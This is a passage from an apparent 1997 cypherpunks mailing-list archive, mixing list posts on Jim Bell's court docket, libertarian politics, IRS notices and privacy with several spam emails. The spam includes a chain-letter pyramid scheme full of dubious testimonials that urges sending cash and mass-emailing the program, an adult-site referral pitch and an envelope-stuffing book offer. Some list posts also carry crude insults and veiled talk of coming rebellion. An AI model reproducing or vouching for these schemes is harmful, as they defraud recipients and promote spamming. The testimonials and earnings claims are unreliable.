This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
        Good Luck & God Bless You,
        Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...IT'S AWESOME!


My name is Frank.  My wife Doris and I live in Bel-Air, MD.  I am a cost accountant with a major U.S. Corporation and I make pretty good money.  When I received the program I grumbled to Doris about receiving "junk mail"!  I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my supposed intelligence and jumped in with both feet.  I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses.  Within 45 days she had received over $147,200 in $5 bills! I was stunned.  I was sure that I had it all figured and that it wouldn't  work...I AM a believer now.  I have joined Doris in her "little" hobby. I did have seven more years until retirement,  but I think of the "rat race" and it's not for me...We owe it all to MLM.
        Frank T., Bel-Air, MD


I just want to pass along my best wishes and encouragement to you.  Any doubts you have will vanish when your first orders come in.  I even checked with the U.S. Post Office to verify that the plan was legal.   It definitely is!  IT WORKS!!!
        Paul Johnson, Raleigh, NC


This is the only realistic money-making offer I've ever received.  I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had received over 8,000 orders with over $40,000 in cash.  Dozens of people have sent warm personal notes too, sharing the news of their good fortunes!  It's been WONDERFUL.
        Carl Winslow Tulsa, OK


The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
        Sincerely yours, Phillip A. Brown


This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders OVER $48,000!!!  I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better. Your success is right around the corner, but you must do a little work.
        Good Luck!  G. Bank


Not being the gambling type, it took me several weeks to make up my mind to participate in this plan.  But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back.  Boy I was surprised when I found my medium-size post office box crammed with orders.  After that it got so over-loaded that I had to start picking up my mail at the window.  I'll make more money this year than any 10 years of my life before.  The nice thing about this deal is that it doesn't matter where in the U.S. the people live.  There simply isn't a better investment with a faster return.
        Mary Rockland, Lansing, MI


I had received this program before.  I deleted it, but later I wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed another program...11 months passed then it came...I didn't delete this one!...I made $41,000 on the first try!!
        D. Wilburn, Muncie, IN


This is my third time to participate in this plan.  We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it.  For your sake, and for your family's sake don't pass up this golden opportunity.  Remember, when you order your four reports, SEND CASH.  Checks have to clear the bank and create too many delays.  Good luck and happy spending!
        Charles Fairchild, Spokane, WA


Typically when I look at a money-making deal I want to know if the company is strong, will it be here when it's time for my big pay off.  In this crazy thing there is no company intervention for management to blow it.  Just people like me ordering directly from the source!  Interesting...I had a couple of projects I'd been trying to fund to no avail so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders started coming in.  One project is funded and I'm sure the other will be soon!
        Marilynn St. Claire, Logan, UT

====================================================

We could be printing YOUR testimonial next!!!
 
ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!










From promotions at web-promotions.com  Wed Jul 23 20:59:11 1997
From: promotions at web-promotions.com (promotions at web-promotions.com)
Date: Wed, 23 Jul 1997 20:59:11 -0700 (PDT)
Subject: REFFERAL REWARDS ( NOT CLUBPIX )
Message-ID: <199707232100.RAA26395@loki.atcon.com>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Attention Adult Webmaster:

We Want YOU To Be A Part of US!

This is NOT a Click Thru Program, nor a Limited Money Making MLM
Program!

This is YOUR opportunity to get what you deserve!

REFERRAL REWARDS!!!!!!

WEG Inc. has designed a referral program that rewards the Adult Webmasters for their hard work and dedication to their site.  This program has been in operation since mid April to a select few and is now ready for full operation and distribution.  Payment references from some bigger adult
webmasters that are involved in the program are available upon request!

Here's How It Works:

Basically our program allows you to promote our site but you the webmaster receives your own link, with your own assigned script code.  The script code is how we determine who's signup is who's!  So in reality you can consider it your site, it's just that you don't have to waste your time and energy updating material, buying material, and maintenance of your site! Not to mention 
bandwidth costs! We do all the grunt work!

Heres what you get:

For every signup, you receive 40% commission.  
We charge a retail of $19.95 per signup, per month.
So that gives you a net of $7.98 per signup.
Now here's where it really gets good...

RECURRING REVENUE!!!!!!

That's right, the webmaster not only receives the initial 
commission of $7.98 (40%), but they also get the recurring revenue.

So every month for each referral that has signed up and stays a member 
you keep getting the recurring billing - $7.98 (40%).

ALL COMMISSIONS ARE PAID OUT WEEKLY!!!

All webmasters will receive a check every week for what ever commission 
is owed to their account.  Doesn't matter if you had 1 signup for that
weekly pay period.  You get a check every week!

900 ACCESS SIGNUPS TOO!

We have the ability to assign each webmaster that signs up to our
program their own 900 Access number. But the problem we run into is that we have 
to pay $10 per 900 number. It doesn't sound like much, but when you have 
over 100 people involved in the program and some people are doing
signups and some aren't, it doesn't make sense to order a whole bunch of 900
lines and they won't even be utilized. So this is what we have decided to do.

We will use one universal 900 number. If you had 10 credit card signups
for the one week pay period and all webmasters combined had 100 signups,
your cut of the 900 revenue will be 10%. 

If you are absolutely serious with our program and feel you will warrant
the need for your own 900 Access number, we will assign your account your
own personal 900 number free of charge.  

ONLINE STATS

Online stats are available to each Referral Rewards member.  So you will
always be able to check your stats.

STOP WASTING YOUR TRAFFIC!!!

So what are you waiting for?  Start maximizing your traffic today!
Sign up to our Referral Rewards program and start collecting the
revenue you truly deserve.  

Signup Page
http://www.weginc.com/referral/signup.html

Referral Rewards Main Site and More Info
http://www.weginc.com/referral/

If you should have any questions, please feel free to email us at rewards at 900.net.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From admin at CyberSpaceTechnologies.com  Wed Jul 23 06:35:59 1997
From: admin at CyberSpaceTechnologies.com (CST Administration Dept)
Date: Wed, 23 Jul 1997 21:35:59 +0800
Subject: Jim Bell Docket 3
Message-ID: <199707231318.IAA10360@oceanus.host4u.net>



 >Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.
>

When doesn't the government get big bucks? I mean look at what they did to
us soldiers? Congress gave themselves a 6.8% payraise in 1 (one) year, and
gave us a 2.6% pay raise spread across 3 (three)!

>Keep up this self-serving banditry, you millions of members of Crispin's
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

We all know that the very seeds of civil rebellion that fueled the civil war
and others of that caliber across the globe are now present in the U.S once
again. Believe you me, they will reap what they sow. They caused it. They
can deal with it. The only thing I have to say to them is.. "Don't expect me
to help clean it up. I will not fire on my fellow countrymen, except in the
defense of my family!"  So, don't worry. Their day is coming, far quicker
than they realize.







From jeffb at issl.atl.hp.com  Wed Jul 23 06:53:06 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Wed, 23 Jul 1997 21:53:06 +0800
Subject: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: <199707231406.KAA31336@jafar.issl.atl.hp.com>



Nobody writes:

> > > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > > simply wants the government out of everything they have no constitutional
> > > authority to be in.  They perceive government as an intrinsic evil and the
> > > only thing that should be done is to slay the dragon.  I would number
> > > Eagle Forum and the Progress and Freedom Foundation in this group.
> > 
> > Sure, *they* want to be left alone, but I wouldn't trust these
> > groups to leave the rest of us alone.
[snip]
> >                                                    These groups are
> > not friends of liberty.  Like the traditional "liberals", they seek
> > not so much to slay the dragon as to replace it with their own.

> You either missed or paraphrased my second paragraph.  My point is
> precisely that the rift is between those who want to use government to
> regulate the things you mention, and those who don't think it is the
> government's business, whether they consider them good or bad.  The
> organizations I mentioned here specifically don't want the federal
> government trying to control these things.

OK, let's look at one of these organizations.  Here's certain bullets
from the mission statement from Eagle Forum's web site, followed by
my annotations.  I've omitted most of their bullets, some of which
I actually agree with.

o	Supports a strong national defense and the protection of
	American sovereignty and jobs against encroachments by
	international agreements. We support using the newest
	technology to build a strong ballistic missile defense. We
	oppose weakening the military by putting women and open
	homosexuals in combat assignments. We oppose "New World
	Order" interventions -- a government that can't protect our
	safety in America's cities has no business trying to police the
	world. 

Protection of jobs by government as implied here does not reflect a
perception of government as "an intrinsic evil".


o	Supports a health care system that puts control of spending in
	the hands of individuals -- not the government. We support
	individual medical savings accounts plus tax fairness, so that all
	Americans can buy health insurance with pre-tax dollars. 

Again, a government solution, not a clear "keep the government out of
the health care system."


o	Supports conservative and pro-family policies at every level of
	government. 

There's that G-word again.


o	Opposes government subsidies for offensive "art," elective
	abortions, or immoral lifestyles. 

But implicit in this is that they *would* give government subsidies
to art they don't find offensive, and would support "moral" lifestyles
(for their definition of moral).  Otherwise, why don't they come out 
and say "we oppose ALL government subsidies for art" and "we think
the government ought not promote any lifestyle"?


o	Opposes violence, pornography, and attacks on traditional
	family values by the entertainment industry. 

An implicit threat to use government to regulate the industry.

I could do the same thing with the Progress and Freedom Foundation
or the National Empowerment TV group you mentioned, but what's the
point?  These people are not libertarians!  And grouping them into
something called the "leave-us-alone" coalition is a fraud.


-- Jeff






From whgiii at amaranth.com  Wed Jul 23 06:54:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 23 Jul 1997 21:54:00 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <199707231347.IAA23174@mailhub.amaranth.com>



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In <19970723010939.51681 at bywater.songbird.com>, on 07/23/97 
   at 01:09 AM, Kent Crispin  said:

>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>are different than most of ours, he is part of the flock,  nonetheless. 

Well Kent I think that there are distinct differences between someone like
Tim who dislikes his slavery and is actively working to remove his bonds
and others like yourself who not only like the "security" of being
inslaved but wish more chains to be put on us all.

Tim may be part of the "flock" but only because their is a gun to his head
while youself would be a sheeple even if the slavemasters were gone.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From 8051172 at prodigy.net  Wed Jul 23 21:59:06 1997
From: 8051172 at prodigy.net (8051172 at prodigy.net)
Date: Wed, 23 Jul 1997 21:59:06 -0700 (PDT)
Subject: Extra Income
Message-ID: <0000000000.AAA000@prodigy.net>



***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
 being advertised are not what you expect. And you don't find that out
 until after you send in your money.

       Let me tell you the real facts. With true envelope stuffing...

       * You do not need to pay any fee or buy any materials to get started.
       * You do not do any advertising or handle any orders.
       * All printing, postage, and mailing lists are supplied free by
          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
 envelopes. The company delivers all the materials right to her door.
 She stuffs the envelopes, seals them, and applies the mailing labels
 and postage stamps that are supplied. Then she gets paid for every
 envelope completed.

      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
                          that I have money to spend."

      If you'd like to do this kind of work, just follow the directions in
 Chapter 3 of my book "Real Home Income". Or try any of the other
 opportunities covered.

      Hundreds of companies are ready to help you make money. I'll
 tell you what each one has available now.

      Choose the kind of work you like and write to the companies who
 offer it. Pick any you want. You can work as an independent contractor for
 as many companies as you have time for.

      There are no qualifications to meet, so you will not be turned
 down. I guarantee it. If you don't like one company or you want to make
 more money, there are plenty of others you can try.

 Get Paid For Assembling Miniatures

      Gina Walker of Texas likes to assemble miniature furniture for doll houses.
 All the necessary materials are supplied by the company that
 pays her. She puts them together and sends them back to the company.

      Everything is conveniently handled by mail and UPS. The company
 sends her a nice pay check for each batch she completes.

      Gina says: "I really like the work, and the extra money helps
                       pay my bills. I'm glad I found out about these companies."

      You can get paid the same way. And you don't have to make miniatures.
 You can choose from many other types of work. You can sew baby
 bonnets, assemble beaded jewelry, crochet doll clothes, make wooden
 items, assemble stuffed animals, paint figurines, weave rattan reed,
 and many more.

     You get the names and addresses of over 50 companies that will pay
for things you make or assemble at home. No experience is required,
and it makes no difference where you live.

     Almost all the companies supply the needed materials. Just do the
work and get paid for each batch you send back. Wouldn't you like to
get those pay checks? I'll show you how to get started fast.

How I Made $800.00 Per Week After Losing My Job

     I became interested in home income opportunities several years
ago when I lost my job. I sent for dozens of money making offers. Most
were totally worthless. Others did not appeal to me.

     But circular mailing caught my interest... and it actually
worked. In just six weeks, I was making over $800.00 a week working
part time at home. It was better than my previous job. I soon paid off
my bills and bought a new car.

     Yet that was only the beginning. As I learned more about it and
tried different things, the money poured in even faster. It made a
huge difference when I applied certain secrets that are used by the
experts. I was amazed at how profitable it could be.

     In "Real Home Income" you'll learn how to use those secrets
yourself. I'll tell you which companies to contact to get started.
I'll show you some simple steps you can take to double your income
without doing any more work.

      If you want, you can do all of this without handling any
orders. Your name and address does not have to appear on anything you
mail. You just mail circulars for companies and receive nice fat
checks from them.

     With my proven methods, you can soon be earning more money than
you ever imagined. Just follow my directions, and you can start
receiving checks from the same companies I do.

Receive One Dollar For Each Envelope You Stuff.
Envelopes Come To You Already Stamped And Addressed.

     This easy work is advertised by over thirty- five companies. But
they require that you pay $25.00 to $45.00 to register in their
program. And then the program seldom turns out to be what you'd
expect.

     That's where my book can help out. I describe the three kinds of
mail programs that pay one dollar per envelope. But there is only ONE
that I recommend. Not only is it more profitable overall, but you
don't have to pay any fee to do it. Not even a dollar. Read about "The
World's Best Dollar- Per- Envelope Program" in Chapter 4.

How To Avoid Disappointment

     So many worthless offers are commonly advertised that many
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     It tells you exactly how to recognize and avoid worthless
offers. The most common ripoffs are covered in detail. This knowledge
 can save you a great deal of time and money.

     You can then take advantage of the many practical, down- to-
earth opportunities that are described. Ones that enable you to start
making money fast. Even just one extra source of income can make a big
difference in your standard of living.

Start To Earn Money In 48 Hours

     When you get the book, look over the many excellent
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     You can begin to make money even faster if you choose one of the
programs or plans that the book describes in detail. I'll tell you
everything you need to know to get started. By taking a few simple
steps, you can already be making money just 48 hours after you receive
the book.

Unlimited No Nonsense Guarantee

    "Real Home Income" costs just $29.95 plus $3.00 for postage and
handling. I'm so confident you can make the money I've talked about
that I back it with a lifetime, money- back guarantee. If at any time
you feel the book has not helped you make all the money you want, just
send it back. I'll promptly send you a full refund of everything you
paid, including postage and tax.

     Start to enjoy more income and a better life as soon as
possible. Please complete the order form and mail it today.
Everything will be rushed to you by first class mail.


                                                           Sincerely,
                                                           Henry Summers

     P.S. I've recently discovered an amazingly profitable
            opportunity. One person I talked to made $20,000 in his
            first six weeks... working right at home in his spare
            time. It is not multi- level marketing. I've never seen
            anything like it before. I'l give you a toll free number
            to call so you can get started.



                          Please Print and Mail This Order Form to: 

-------------------------------------------------------------------------------------------------
ADVANCED NETWORK PROMOTIONS                           # 305   
P.O. Box 712102  
Santee, CA 92072- 2102                             

                      ( ) Yes, I would like to get started. Please rush me                       
                          "Real Home Income" under your lifetime money-
                           back guarantee. Enclosed is $29.95 plus $3.00 for
                           postage and handling.*  $32.95 total. (If you live in
                           California, please send $34.95)                             

          *Checks may be made payable to Advanced Network Promotions

Name____________________________________________ 


Address___________________________________________                              


City, State, Zip_____________________________________    
                                                    Internal Code [E8(3p)SB724]
-------------------------------------------------------------------------------------------------
































From whgiii at amaranth.com  Wed Jul 23 07:06:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 23 Jul 1997 22:06:13 +0800
Subject: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
Message-ID: <199707231353.IAA23244@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970723114324.006a189c at pop.pipeline.com>, on 07/23/97 
   at 07:43 AM, John Young  said:

>We've updated Jim Bell's court docket to show July 18 entries for the
>plea agreement:

>   http://jya.com/jimbell-dock2.htm

>It lists a waiver of indictment, a plea agreement "filed under seal" and
>a hearing for sentencing set for October 17.

>Jim's remanded to jail until then, making a total of five months of time
>served since arrest.

>Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.

>Keep up this self-serving banditry, you millions of members of Crispin's 
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

Has anyone contacted Jim's lawer about the recent IRS SPAM?

Seems to me that the IRS leaking the Plea Agreement would be at least
contempt of court.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9X/k49Co1n+aLhhAQExJgQAobaNPDGKrvbU2v9gPaUIXu3VtlE9AVp4
gfSBZILaERRQ+4CnDQK2sKQGTZdaFj+5x2b7xqrij1fc5ezt5TCQ54FwVDqGU2Nk
Xex7RilmXLjAeETM2yoFo2mQT8WejdzYSkjouvcmvmEGhmz1z/fGYpuPA0Od11O+
lT+XphehGmc=
=nack
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From declan at well.com  Wed Jul 23 07:50:23 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 23 Jul 1997 22:50:23 +0800
Subject: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: 



The report isn't online, BTW. At least not yet...

-Declan







From sunder at brainlink.com  Wed Jul 23 08:28:58 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 23 Jul 1997 23:28:58 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: 



On Wed, 23 Jul 1997, Kent Crispin wrote:

> Actually, nothing whatsoever separates Tim from sheeple.  
> 
> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.  In fact he frequently sprinkles his posts with comments
> pointing out that some outrageous thing he just said is
> constitutionally protected. 
> 
> And Tim doesn't have to worry about an employer, unlike the "corporate
> types" he mentions, but he (as he noted in a recent post) pays his
> taxes like everyone else.  He said, as I recall, that he of course
> didn't like paying, but essentially that it was too much trouble to
> avoid it.  Tim sees the Man, and Tim knows who's boss.
> 
> Yes, Tim talks a brave talk.  But, though the parameters of his 
> slavery are different than most of ours, he is part of the flock, 
> nonetheless. 

I don't see you doing anything "braver" by your definition.  Let's see you
do something to fight the system.  I do however hear you spread the Big
Brother party line, I do see you lick the shit off your lips and say
"Hmmmm, Hmmmm, NSA's butthole tastes real mighty good, yessir, I reckon."

What Tim does is Tim's business, I neither defend or refute. However, I do
see you running at the mouth with these grand "Tim's Chicken" lines while
you're not even doing shit.  All we have ever heard from you is pro-GAK
party line.

What's your agenda, trying to get us to actually break the law and wind up
in the slammer?  Wouldn't that be your dream come true, get all the
cypherpunks in jail, problem solved. I wonder how much the NSA is willing
to pay you if you accomplish that task for them.  Care to share the
numbers with us?   Asswipe! Get back under your government paid rock. 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From zooko at xs4all.nl  Wed Jul 23 09:08:00 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Thu, 24 Jul 1997 00:08:00 +0800
Subject: custom and privacy
Message-ID: <199707231551.RAA23196@xs2.xs4all.nl>



A million monkeys operating under the pseudonym "T.C. May" typed:

> I of course remember _lots_ of things about people, I share those memories
> on occasion (without requesting permission), I mention names, and I
> certainly don't recall every giving one of the subjects of my memories a
> cut of the action.
> 
> In a free society, it is not possible or acceptable to control what others
> remember or gossip about. Or even sell commercially.


The infinitive "to control" here confuses force with contract, 
coercion with civil pressure, and law with custom.


I believe Bill Frantz's original article made the distinction,
and I believe it stated that his thoughts were in the context 
of the latter.  Unfortunately cypherpunks sometimes seem unable
to preserve such contexts in follow-up articles.


In a free society, such as the one that I enjoy with my 
colleagues, friends, compatriots, acquaintances, enemies and 
perfect strangers on the Net, it is indeed possible and 
acceptable to exert individual and collective social pressure 
to influence the use and dissemination of information.  
I could, but won't, give many examples of people requesting 
that maintain certain privacy bits attached to information they
gave me, and people graciously respecting the privacy bits that 
I transmitted along with my information.  Sometimes these 
people were friends or acquaintances of mine, other times they
were perfect strangers who acted out of professional self-
interest, reputation-preservation, casual generosity, and/or--
as per Bill Frantz's article-- familiarity with and respect for
custom.


I applaud Bill Frantz's effort to direct the minds of 
cypherpunks towards a topic which is valuable and relevant, but
which is not reducible to the convenient mental shortcut of 
"government BAD, not-government GOOD".


Zooko, Journeyman






From rdl at mit.edu  Wed Jul 23 09:26:18 1997
From: rdl at mit.edu (Ryan Lackey)
Date: Thu, 24 Jul 1997 00:26:18 +0800
Subject: IRS sending warning notes, violating ECPA?
Message-ID: <199707231616.MAA19478@the-great-machine.mit.edu>



(I think Tim is doing a lot more for the cypherpunks cause by not being
in jail than he would being locked up in jail pending trial for 5 months..
but that's not really an issue anyway -- one's life is one's own, do as thou
wilt and all)

Something which I think would be more interesting would be if someone set up
a fairly aggressive legal fund and technical assay organization to use
the civil courts to try to challenge silly crypto laws, using some of the
proceeds from evaluating and certifying vendor security products.  Something
like a "contribute $1 by electronic cash system of your choice" to a variety
of "charities" (things where you gain some tangible benefit by their success,
like the repeal of crypto export legislation, etc.) -- perhaps some kind of
silly web server which collected deposits, automatically did the paperwork
for tax purposes, forwarded money to the organizations, etc., either 
anonymously or not.

Perhaps this is a bad example, but I think there are a lot more things people
could do outside of jail than in it.  It might be stylish to have a martyr
locked up in jail who we could all invoke at random times, but I'd much 
prefer to actually win.  'Cypherpunks write code' is nicer than 'Cypherpunks
get locked up in jail for doing not so creative things, rather than having
others do them, and not even doing them terribly effaciously'.

I think I'll go back to setting up my little os9 network and toying with
novel security concepts (twas a good suggestion, whoever mentioned it here.
i'd always ignored os9...it turns out it's quite a fun toy, and a useful
building block).






From Jeff at makemoney.com  Thu Jul 24 00:37:36 1997
From: Jeff at makemoney.com (Jeff at makemoney.com)
Date: Thu, 24 Jul 1997 00:37:36 -0700 (PDT)
Subject: A For-Real Offer
Message-ID: <155027100934.GAA80560@makemoney.com>


Dear Entrepreneur,

The following income opportunity is one you may be interested in taking
a look at. If you are not interested, you will not be
contacted by me again; please forgive my intrusion.



You are about to make at least $50,000 in roughly 90 days. Read the
enclosed program...THEN READ IT AGAIN!...

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I reread everything and gave some
thought and study to it. I hope you will take advantage of it, too.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INTRODUCTION:

My name is Christopher Erickson. 

In December of '95 I received this program. I didn't send for it, they
just got my name off a mailing list. THANK GOODNESS FOR THAT! After
reading it several times,to make sure I was reading it correctly, I
couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could
invest as much as I wanted to start, without putting me further in
debt. After I got a pencil and paper and figured it out, I would at
least get my money back. After determining that the program is LEGAL and
NOT A CHAIN LETTER, I decided, "WHY NOT!"

Initially I sent out 10,000 e-mails. The great thing about e-mail is
that I didn't need any money for printing to send out the program, only
the cost to fulfill my orders.

I found a good program to help do this: "Ready Aim Fire" an e-mail extracting
and mass mail program found at  http://microsyssolutions.com/raf/
There are many others, too.

In less than one week, I was starting to receive orders for REPORT #1.
By Jan 13th, I had received 26 orders for REPORT #1 (a . When you read the
GUARANTEE in the program, you will see that "You must receive 15 to 20
orders for report #1 within two weeks. If you don't, send out more
programs until you do!"  My first step in making $50,000 in 20 to 90
days was done. By Jan 30th, I had received 196 orders for REPORT #2.
If you go back to the GUARANTEE, "You must receive 100 or more orders
for REPORT #2 within 2 weeks. If not, send out more programs." Once you
have 100 orders, the rest is easy, relax, you will make your $50,000
goal! Well I had 196 orders for REPORT #2, 96 more than I needed. So I
sat back and relaxed. By March 19th, of my e-mailing of 10,000, I
received $58,000 with more coming in every day! What if I had mailed out 
20,000? 100,000??? 

Therein lies the beauty of this program...It's just a "numbers game". 
If you don't get enough orders from your first emailing of 5,000 - 10,000, 
JUST EMAIL MORE! The more you send, the more orders you will get. It is 
that simple. A normal response rate, I have learned in my research, is 
between .025% and 3%. Even if you acheive a dismal .001% response rate 
(1 in 1,000), you will still receive 50 orders on an initial emailing of 
50,000... that's more than double the "15 to 20 orders" Guarantee for 
Report #1! Now, let me say that there are bulk email programs downloadable 
from the Web that are capable of sending anywhere from 10,000 to 100,000 
messages per hour. There ya have it.

I paid off ALL of my debts and bought a much-needed new car. Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! This program does work, but you must follow it EXACTLY!
Especially the rules of not trying to place your name in a different
place. It doesn't work, you will lose out of a lot of money! REPORT #2
explains this. Always follow the guarantee, "15 to 20 orders for REPORT
#1, and 100 or more orders for REPORT #2 and you will make $50,000 or
more in 20-90 days!" I AM LIVING PROOF THAT IT WORKS!!!!!

Sincerely,
Christopher Erickson

(PS  Do you have any idea what 11,700 $5 bills ($58,000) looks like
piled up on a kitchen table? It is AWESOME!)

TESTIMONIALS:

"THREW IT AWAY"
"I had received this program before. I threw it away, but later wondered
if I shouldn't have given it a try. Of course, I had no idea who to
contact to get a copy, so I had to wait until I was e-mailed another
copy of the program. Eleven months passed, then it came. I DIDN'T throw
this one away. I made $41,000 on the first try."

                             Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'Remember, Alan, there is no free lunch
in life. You get out of life what you put into it'  Through trial and
error and a somewhat slow, frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to e-mail it to. So far this year, I have made over $63,000
using this program. I know my dad would have been very proud of me."

                            Alan B., Philadelphia, PA

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

A Personal Note From the Originator of This Program:

By the time you have read the following information and looked over the
program and reports, you should have concluded that such a program, and
one that is legal, could not have been created by an amateur.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and 'JUST A LITTLE BIT OF
EFFORT". You can make more money in the next few months than you have
ever imagined.

I should also point that I will not see a penny of your money, nor will
anyone else who has provided testimonial for this program. I have
already made over $4 MILLION dollars! I have retired from the program
after sending out over 16,000 programs. Now I have several offices which
market this and several other programs here in the US and overseas. By
the spring, we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It works exceedingly well as it is now. Remember to e-mail a copy of
this exciting program to everyone that you can think of. One of the
people you send this out to may send out 50,000...and your name will be
on every one of them! Remember though,the more you send out,the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials, and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"
              
                             Paul Johnson, Raleigh, NC

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and those involved send out 2,000 programs each. Let's
